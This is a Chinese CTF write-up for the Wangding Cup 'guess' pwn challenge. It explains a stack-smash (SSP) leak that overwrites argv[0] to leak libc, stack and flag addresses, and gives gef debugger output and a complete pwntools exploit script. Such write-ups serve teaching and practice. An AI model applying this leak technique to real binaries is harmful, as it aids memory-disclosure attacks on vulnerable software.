×

网鼎杯(1)-guess

96
D4rk3r
2018.08.30 00:24* 字数 172
漏洞点
保护

明显的栈溢出漏洞,但是开了canary保护但是flag被读取到栈上,所以可以用SSP(Stack Smashes Protect) leak来做,wiki这里讲得很清楚详细:https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/others/#stack-smash

那么我们的思路就是利用栈溢出覆盖 argv[0] 为puts_got地址 --> leak libc --> leak stack --> leak flag

首先观察栈找到存储argv[0]的地址
这里看到还有一种更快的方法直接找到地址

gef➤  p & __libc_argv[0]
$1 = (char **) 0x7fffffffdcf8
gef➤  telescope $rsp 60
0x00007fffffffdba0│+0x00: 0x00007fffffffdd28  →  0x00007fffffffe0f5  →  0x61682f656d6f682f   ← $rsp
0x00007fffffffdba8│+0x08: 0x0000000100000000
0x00007fffffffdbb0│+0x10: 0x0000000000000000
0x00007fffffffdbb8│+0x18: 0x0000000000000003
0x00007fffffffdbc0│+0x20: 0x0000000000000000
0x00007fffffffdbc8│+0x28: 0x0000000000000003
0x00007fffffffdbd0│+0x30: "flag{123}"
0x00007fffffffdbd8│+0x38: 0x000000000000007d ("}"?)
0x00007fffffffdbe0│+0x40: 0xff000000000000ff
0x00007fffffffdbe8│+0x48: 0x0000000000000000
0x00007fffffffdbf0│+0x50: 0x0000000000000000
0x00007fffffffdbf8│+0x58: 0x0000000000000000
0x00007fffffffdc00│+0x60: 0x0000000000000001     ← $rdi
0x00007fffffffdc08│+0x68: 0x0000000000400bfd  →   add rbx, 0x1
0x00007fffffffdc10│+0x70: 0x0000000000000000
0x00007fffffffdc18│+0x78: 0x0000000000000000
0x00007fffffffdc20│+0x80: 0x0000000000400bb0  →   push r15
0x00007fffffffdc28│+0x88: 0x00000000004008b0  →   xor ebp, ebp
0x00007fffffffdc30│+0x90: 0x00007fffffffdd20  →  0x0000000000000001
0x00007fffffffdc38│+0x98: 0xea61426c9ce44500
0x00007fffffffdc40│+0xa0: 0x0000000000400bb0  →   push r15   ← $rbp
0x00007fffffffdc48│+0xa8: 0x00007ffff7a2d830  →  <__libc_start_main+240> mov edi, eax
0x00007fffffffdc50│+0xb0: 0x0000000000000000
0x00007fffffffdc58│+0xb8: 0x00007fffffffdd28  →  0x00007fffffffe0f5  →  0x61682f656d6f682f

gef➤  x/s 0x00007fffffffe0f5
0x7fffffffe0f5: "/home/hacker_mao/桌面/ 网鼎杯第一场/GUESS."

所以0x00007fffffffdd28就是我们要找的地址,我们的输入从0x00007fffffffdc00(rdi指针)开始,所以偏移为:

>>> 0x00007fffffffdd28 - 0x00007fffffffdc00
296
>>> hex(296)
'0x128'

所以泄漏地址的payload为

payload = 'a'*0x128 + 要泄漏的地址

完整exp:

from pwn import *
#context.log_level = 'debug'

puts_got = 0x602020
p = process('./GUESS.')

#leak libc
p.recvuntil('guessing flag\n')
payload = 'a'*0x128 + p64(puts_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('puts addr : 0x%x' %puts_addr)
#gdb.attach(p)
offset_puts = 0x000000000006f690
libc_base = puts_addr - offset_puts
log.success('libc base addr : 0x%x' %libc_base)

offset__environ = 0x00000000003c6f38
_environ_addr = libc_base + offset__environ
log.success('_environ addr : 0x%x' %_environ_addr)

#leak stack
p.recvuntil('guessing flag\n')
payload = 'a'*0x128 + p64(_environ_addr)
p.sendline(payload)
p.recvuntil('detected ***: ')
stack_base = u64(p.recv(6).ljust(8,'\x00')) - 0x198
log.success('stack base addr : 0x%x' %stack_base)
flag_addr = stack_base + 0x30

#leak flag
p.recvuntil('guessing flag\n')
payload = 'a'*0x128 + p64(flag_addr)
p.sendline(payload)
p.recvuntil('detected ***: ')
flag = p.recvuntil('}')
print flag

p.interactive()
比赛WP
Web note ad 1